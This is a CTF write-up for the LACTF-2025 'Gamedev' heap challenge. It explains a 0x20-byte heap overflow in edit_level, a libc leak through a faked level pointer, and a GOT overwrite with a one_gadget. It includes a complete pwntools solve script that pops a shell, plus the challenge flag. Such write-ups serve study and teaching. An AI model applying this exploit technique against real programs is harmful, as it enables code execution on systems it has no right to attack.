Menu Icon
Menu Icon
Minimize
Maximize
Close

LACTF-2025

Gamedev

TL;DR

- Challenge Setup: This challenge is a typical CRUD heap challenge.
- Vulnerability: Heap overflow
- Exploitation: Use the overflow to overwrite a pointer and thus overwriting the GOT

1. Introduction

The challenge is about some levels we are able to create and modify with the typical set of CRUD operations.

2. Reconnaissance

Examining the code we notice a heap overflow in the edit_level functionality:

fgets(curr->data, 0x40, stdin);

The curr->data buffer can only hold 0x20 bytes so we have an overflow of 0x20 bytes.

3. Vulnerability Description

The overflow should be enough to modify meta data of the following chunk and even overwrite content of it. Moreover we get a PIE leak for free just right at the start, so we already know the address of the GOT.

4. Exploitation

The only annoying thing about this challenge are the checks that we are not allowed to modify the chunks if the current level is the same as the previous level which can be circumvented by using the reset functionality to set our current level back to the very first one.
At first we need a libc leak. This can be done by overwriting one of the next pointers of the level struct. As we don't have any leaks yet except for the binary base we need a pointer to libc within the binary itself.

gdb-libc-leak-pointer

I chose the pointer to __libc_start_main. So by overwriting the next pointer with the pointer containing the pointer to __libc_start_main, we can traverse the different levels via the explore functionality until we are in the faked level and thus can leak the libc with the test_level functionality. Now we just need to overwrite an entry in the GOT with a working onegadget by applying the same trick as for the leak and pop a shell.

5. Mitigation

Check the bounds of used buffers and use variables saving these bounds instead of hardcoding magic numbers one by one.

6. Solve script

#!/usr/bin/env python3
from string import Template
import glob
from pwn import *

exe = ELF("./chall_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-linux-x86-64.so.2")

context.binary = exe
context.log_level = 'debug'

# must be dict
ENV_VARS = None

gdbscript = """
set max-visualize-chunk-size 0x100
continue
"""

def create_level(io, idx):
    io.sendlineafter(b"Choice:", b"1")
    io.sendlineafter(b"Enter level index: ", idx)

def edit_level(io, data):
    io.sendlineafter(b"Choice:", b"2")
    io.sendlineafter(b"Enter level data: ", data)

def test_level(io):
    io.sendlineafter(b"Choice:", b"3")
    return get_new_data(io)

def explore(io, idx):
    io.sendlineafter(b"Choice:", b"4")
    io.sendlineafter(b"index:", idx)

def reset(io):
    io.sendlineafter(b"Choice:", b"5")

def exit(io):
    io.sendlineafter(b"Choice:", b"6")

def get_new_data(io):
    return io.recvuntil("6. Exit\n")

def base_leak(io):
    start = get_new_data(io)
    base_leak = get_string_between(start, b"A welcome gift: ", b"\n")
    base_offset = 0x1662
    base_addr = int(base_leak, 16) - base_offset
    validate_leaked_addresses(io, bin_base=base_addr)
    return base_addr

def libc_leak(io, libc_start_main_leak):
    with_offset_to_libc_start_main = libc_start_main_leak - 0x8 * 0x8
    reset(io)
    explore(io, b'0')
    edit_level(io, b'A'*0x20+b'B'*0x10+p64(with_offset_to_libc_start_main)+b'\x00'*8)
    reset(io)
    explore(io, b'1')
    explore(io, b'0')
    leak = test_level(io)[:19].split(b' Level data: ')[1]
    libc_leak = int.from_bytes(leak, byteorder='little')
    libc_leak_offset = 0x27280
    libc_base = libc_leak - libc_leak_offset
    validate_leaked_addresses(io, libc_base=libc_base)
    return libc_base

def preps(io):
    create_level(io, b'0')
    create_level(io, b'1')
    create_level(io, b'2')
    explore(io, b'0')
    edit_level(io, b'A'*0x10)
    reset(io)
    explore(io, b'1')
    create_level(io, b'0')

def overwrite_got(io, got_addr):
    target_entry_got = 7
    got_target = got_addr - (0x8 * 0x8) + (0x8 * target_entry_got)
    reset(io)
    explore(io, b'0')
    edit_level(io, b'A'*0x20+b'B'*0x10+p64(got_target)+b'\x00'*8)

    reset(io)
    explore(io, b'1')
    explore(io, b'0')

    one_gadget_offset = 0xd511f
    # one_gadget_offset = 0x4c139
    # one_gadget_offset = 0x4c140

    gadget_addr = libc.address + one_gadget_offset
    edit_level(io, p64(gadget_addr))
    io.sendline(b'-i\x00')

def main():
    io = start_conn()
    base_addr = base_leak(io)
    exe.address = base_addr

    got_offset = 0x4000
    got_addr = base_addr + got_offset

    libc_start_main_offset = 0x3FC0
    libc_start_main_leak = base_addr + libc_start_main_offset
    preps(io)
    libc_base = libc_leak(io, libc_start_main_leak)
    libc.address = libc_base

    overwrite_got(io, got_addr)

    io.interactive()
    clean_up()







### Helper start

def start_conn():
    if args.REMOTE:
        log.info(Template('Starting with remote connection to $HOST on port $PORT...').substitute(HOST=sys.argv[1], PORT=sys.argv[2]))
        io = remote(sys.argv[1], sys.argv[2])
    else:
        log.info('Starting locally...')
        io = process([exe.path], env=ENV_VARS)
        if args.GDB:
            log.info('Starting with GDB...')
            gdb.attach(io, gdbscript=gdbscript, exe=exe.path)
    return io


def get_string_between(res, first_const_str, second_const_str):
    return res.split(first_const_str)[1].split(second_const_str)[0]


def get_mapping_offset(proc_mapping, search_for):
    heap_offset = 0
    for i, mapping in enumerate(proc_mapping):
        if search_for in mapping:
            heap_offset = i
            break
    return heap_offset


def validate_leaked_addr(proc_mapping, offset, given_addr, addr_name):
    true_base = int(proc_mapping[offset].split('-')[0], 16)
    if int(given_addr) != true_base:
        log.critical(
            Template('Leaked $ADDR_NAME $GIVEN_ADDR is not the correct $ADDR_NAME like $TRUE_BASE').substitute(
                ADDR_NAME=addr_name, GIVEN_ADDR=hex(given_addr), TRUE_BASE=hex(true_base)
            ))
    else:
        log.info(
            Template('Leaked $ADDR_NAME $GIVEN_ADDR equals correct $ADDR_NAME $TRUE_BASE').substitute(
                ADDR_NAME=addr_name, GIVEN_ADDR=hex(given_addr), TRUE_BASE=hex(true_base)
            ))


def validate_leaked_addresses(io, bin_base=None, heap_base=None, libc_base=None, stack_base=None):
    if args.REMOTE:
        log.warning('Skipping leaked address validation because not running locally...')
        return

    with open(Template('/proc/$PROC_ID/maps').substitute(PROC_ID=io.proc.pid)) as f:
        proc_mapping = f.readlines()
    if bin_base:
        bin_path_split = exe.path.split('/')
        bin_path = bin_path_split[len(bin_path_split) - 1]
        validate_leaked_addr(proc_mapping, get_mapping_offset(proc_mapping, bin_path), bin_base, 'bin base')
    if heap_base:
        validate_leaked_addr(proc_mapping, get_mapping_offset(proc_mapping, 'heap'), heap_base, 'heap base')
    if libc_base:
        validate_leaked_addr(proc_mapping, get_mapping_offset(proc_mapping, 'libc'), libc_base, 'libc base')
    if stack_base:
        validate_leaked_addr(proc_mapping, get_mapping_offset(proc_mapping, 'stack'), stack_base, 'stack base')

    if not any([bin_base, heap_base, libc_base, stack_base]):
        log.warning('Skipping leaked address validation because no leaked addresses were given...')


def clean_up():
    # remove corefiles (memory dumps) being generated due to program crashes
    for corefile in glob.glob('core*'):
        os.remove(corefile)

### Helper end


if __name__ == "__main__":
    main()

7. Flag

lactf{ro9u3_LIk3_No7_R34LlY_RO9U3_H34P_LIK3_nO7_r34llY_H34P}